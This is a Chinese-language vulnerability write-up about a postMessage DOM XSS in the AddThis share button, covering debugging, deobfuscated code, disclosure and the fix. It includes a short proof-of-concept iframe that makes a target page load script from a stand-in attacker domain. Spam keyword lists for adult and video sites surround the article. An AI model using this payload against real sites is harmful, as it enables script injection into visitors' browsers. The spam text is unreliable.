成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

流行應(yīng)用AddThis存在postMessage XSS漏洞漏洞,百萬站點(diǎn)受影響

安全 漏洞
AddThis是一款擁有超過一百萬用戶使用的網(wǎng)頁分享按鈕。在今年早些被發(fā)現(xiàn)存在XSS漏洞。在之前的一篇文章有描述到postMessage API缺陷。而本文將描述我是如何識別然后利用AddThis分享按鈕中存在的這些漏洞。

AddThis是一款擁有超過一百萬用戶使用的網(wǎng)頁分享按鈕。在今年早些被發(fā)現(xiàn)存在XSS漏洞。在之前的一篇文章有描述到postMessage API缺陷。而本文將描述我是如何識別然后利用AddThis分享按鈕中存在的這些漏洞。

[[179806]]

當(dāng)我在測試一個(gè)使用AddThis的網(wǎng)站的時(shí)候,透過Chrome開發(fā)者工具的全局監(jiān)聽器,我注意到它使用了postMessage。

使用AddThis的網(wǎng)站的時(shí)候使用了postMessage

為了判斷它們是否存在漏洞,我在Chrome開發(fā)者工具中的的監(jiān)聽器內(nèi)設(shè)置了一個(gè)斷點(diǎn),之后使用

  1. window.postMessage("hello", "*") 

向頁面發(fā)送消息

檢查監(jiān)聽器

代碼沒有進(jìn)行來源檢查,除此之外來源必須是HTTP/HTTPS頁面。從5364行可以得知消息的預(yù)期格式:

  1. at-share-bookmarklet:DATA. 

應(yīng)用AddThis檢查監(jiān)聽器

繼續(xù)進(jìn)行調(diào)試,我們以合適的格式發(fā)送消息,使代碼在5370行結(jié)束,調(diào)用r函數(shù)。

完成對r函數(shù)的調(diào)用之后接著調(diào)用s函數(shù):

應(yīng)用AddThis檢查監(jiān)聽器

說起S函數(shù)就非常有趣。它似乎創(chuàng)建了一個(gè)新的腳本元素(或許是DOM XSS?)

應(yīng)用AddThis檢查監(jiān)聽器

反壓縮

為了理解這個(gè)函數(shù)的作用,我通過命名變量和刪除多行語句來進(jìn)行反混淆。

  1. e.exports = function(messageData, t, n, s, u, isTrue) { 
  2. if (!o[messageData] || isTrue) { //isTrue is 1 (true) when this function is called. 
  3. var scriptTag = document.createElement("script"); 
  4. if("https:" === window.location.protocol){ 
  5. var isSecurePage = true
  6. }else{ 
  7. var isSecurePage = false
  8. var protocol = ""
  9. var headElement = document.getElementsByTagName("head")[0]; 
  10. scriptTag.setAttribute("type", "text/javascript"); 
  11. scriptTag.setAttribute("async", "async"); 
  12. //Check if user is using Chrome/Safari 
  13. if(window.chrome && window.chrome.self || window.safari && window.safari.extension){ 
  14. if(isSecurePage){ 
  15. protocol = "https"
  16. }else{ 
  17. protocol = "http"
  18. //If the message data starts with "//", add protocol before 
  19. if(0 === messageData.indexOf("//")){ 
  20. messageData = protocol + messageData; 
  21. //If the message data starts with "//" 
  22. if(0 === messageData.indexOf("//")){ 
  23. scriptTag.src = messageData
  24. }else{ 
  25. scriptTag.src = protocol + "//s7.addthis.com/" + messageData; 
  26. headElement.insertBefore(scriptTag, headElement.firstChild); 
  27. o[messageData] = 1; 
  28. return scriptTag; 
  29. return 1; 

閱讀經(jīng)過反壓縮的代碼版本,可以得出結(jié)論,發(fā)送消息的格式大抵如此:

  1. at-share-bookmarklet://ATTACKERHOST/xss.js 

它會(huì)新增一個(gè)新的腳本元素到包含了“//ATTACKERDOMAIN/xss.js”的頁面。換句話說,存在DOM XSS漏洞。

POC

攻擊者能夠攻擊任何使用了AddThis的網(wǎng)站(存在DOM XSS)。給出我寫的exploit供大家參考:

  1. <iframe id="frame" src="https://targetpage/using_addthis"></iframe> 
  2. <script> 
  3. document.getElementById("frame").postMessage('at-share-bookmarklet://ATTACKERDOMAIN/xss.js', '*'); 
  4. </script> 

 

修復(fù)

我和Matt Abrams(AddThis的CTO)進(jìn)行了交流,他保證會(huì)盡快修復(fù)該漏洞并及時(shí)推送給終端用戶。該修復(fù)方案增加了一個(gè)來源檢查以確保消息不會(huì)從未知來源發(fā)出。

總結(jié)

簡言之,postMessage通常會(huì)導(dǎo)致DOM XSS漏洞。如果你正在使用第三方腳本,一定要去檢查下postMessage實(shí)現(xiàn)。

責(zé)任編輯:趙寧寧 來源: FreeBuf
相關(guān)推薦

2023-07-10 21:25:20

2022-04-14 16:37:50

漏洞網(wǎng)絡(luò)攻擊插件

2023-07-27 16:48:13

2022-07-20 16:04:15

iOS蘋果App Store

2020-07-30 23:17:45

漏洞網(wǎng)絡(luò)安全攻擊

2021-09-05 05:59:00

BrakTooth漏洞藍(lán)牙設(shè)備

2022-05-05 11:33:10

漏洞網(wǎng)絡(luò)攻擊網(wǎng)絡(luò)安全

2009-05-30 10:04:56

2021-01-28 17:32:44

Sudo漏洞Linux發(fā)行版

2014-04-09 14:41:55

2011-10-09 15:03:15

手機(jī)

2016-03-29 10:48:53

2015-03-13 09:20:57

2009-07-29 08:46:13

Windows 7系統(tǒng)漏洞系統(tǒng)安全

2014-04-29 11:18:27

2019-02-21 10:11:49

2015-09-23 11:42:20

2023-05-08 19:28:11

2014-07-22 10:43:16

2022-08-15 08:28:52

漏洞底層框架Electron
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號

主站蜘蛛池模板: 色约约视频 | 日韩高清在线 | 午夜a级理论片915影院 | 欧美一级黄色免费看 | 91亚洲欧美 | 91热在线| 久久com | 视频一二三区 | 久久久久成人精品免费播放动漫 | 欧美一区二区三区在线观看 | 精品成人在线 | 免费视频成人国产精品网站 | 久久这里有精品 | 欧美一区 | 亚洲另类春色偷拍在线观看 | 污视频免费在线观看 | 亚洲国产精品一区 | 日韩中文在线视频 | 久久久九九| 欧美成人一区二区三区 | 久久精品91 | 午夜精品久久久久久久久久久久 | 99视频免费 | 国产成人精品久久 | 亚洲精品一区二区三区蜜桃久 | 久久草在线视频 | 日韩av第一页 | 男女羞羞免费网站 | 一级做a毛片 | 国产一区二区免费 | 精品一区二区视频 | 天天射网站 | 亚洲高清久久 | 欧美久久天堂 | 日韩国产一区二区三区 | 一区二区欧美在线 | 亚洲国产成人精品女人 | 国产伊人久久久 | 亚洲精品一区二区 | 国产精品96久久久久久 | 免费观看一级特黄欧美大片 |